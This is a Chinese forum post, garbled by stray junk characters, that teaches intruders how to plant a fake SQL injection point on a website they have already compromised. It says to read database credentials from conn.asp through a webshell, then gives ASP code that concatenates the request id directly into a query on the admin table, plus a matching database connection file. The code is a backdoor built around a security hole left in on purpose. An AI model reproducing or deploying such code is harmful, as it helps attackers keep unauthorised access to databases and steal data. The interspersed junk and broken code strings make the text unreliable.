自己构造注入点方便入侵3 n# Z$ q, h3 D$ v
" M5 P5 _/ y9 ^( B8 Y% K
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
3 Y% U1 X- j' r& g% ~1 s+ `
_& h; A# T' ~5 Z这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
- s. ^9 x! Y" r) H! q! {# o& N
# a: x( h3 q9 Q0 y! F0 h, E首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和( n7 ?1 R3 O W; `" H: c
, q5 x- D8 \. r0 K9 b' M9 J- P密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表) u. }7 s' G6 D1 D; i2 X' o, ~7 M
- l: w: @9 n# N4 \$ ?/ j) V
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
5 X" L! P; |; K* q/ {# }* N0 l, N8 s. ?+ h% Q4 r |# Z
程序代码 E5 C& w: }4 y# y
<!--#include file="xx.asp"-->" ~ D# |& ~& R4 J) C( F- M
<%, q; y b$ R* A6 T* N8 b
set rs=server.createobject("ADODB.recordset"), [1 `) n& G% z" l$ I% `4 j
id = request("id")
. A% n2 k) `/ Y6 r8 d7 X' bstrSQL = "select * from admin where id=" & id
- i6 t) W0 F0 ~9 d0 @+ Nrs.open strSQL,conn,1,3
9 l6 U) r3 Z9 ]/ |0 t% Jrs.close
& W9 |. a5 N3 ?* W%>
) C- `$ N p3 _& D$ g5 O: m# b9 s4 i/ N: j
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在! l+ b" L/ D' k6 f3 w) [2 ]
; h9 W3 @0 I! d+ r
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存! G7 `, Q* d" s& ]# ]7 J
( v9 h) u% ]" D8 ?0 m$ h然后就要构造一个连接数据库的文件了,代码如下:# c* W$ w e8 r1 M
程序代码% i4 J9 `+ J0 A$ z$ }
<%
3 k: W7 ^9 m, o. U1 WstrSQLServerName = "000.000.000.000" '服务器名称或地址
9 `6 F7 e' ?( ]9 V9 i# tstrSQLDBUserName = "sqlname" '数据库帐号
7 n ^/ |0 {1 t3 m. ^) astrSQLDBPassword = "sqlpass" '数据库密码& v* `8 w, A5 q
strSQLDBName = "sqldataname" '数据库名称
3 g! \1 B+ _7 d+ ESet conn = Server.CreateObject("ADODB.Connection")* i3 ^! ?( h7 E
strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";". E7 c3 v9 e1 U, x
conn.open strCon
1 ^8 l2 C+ k/ a/ h4 z%>
: J7 u, o6 X: ?$ g* Q1 [1 n4 [2 e% S1 A6 ] b. j0 U
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
+ V' M( D0 h6 J. J) j5 h1 p2 E) I- j6 W1 R
就这样,正常情况下,就OK了,伪造成功……
9 ?3 e. A6 ]! a" n1 ]& S
: I- t$ C8 Z. M5 j; T$ N/ | 如果有什么问题可以提出来大家一起探讨解决。 |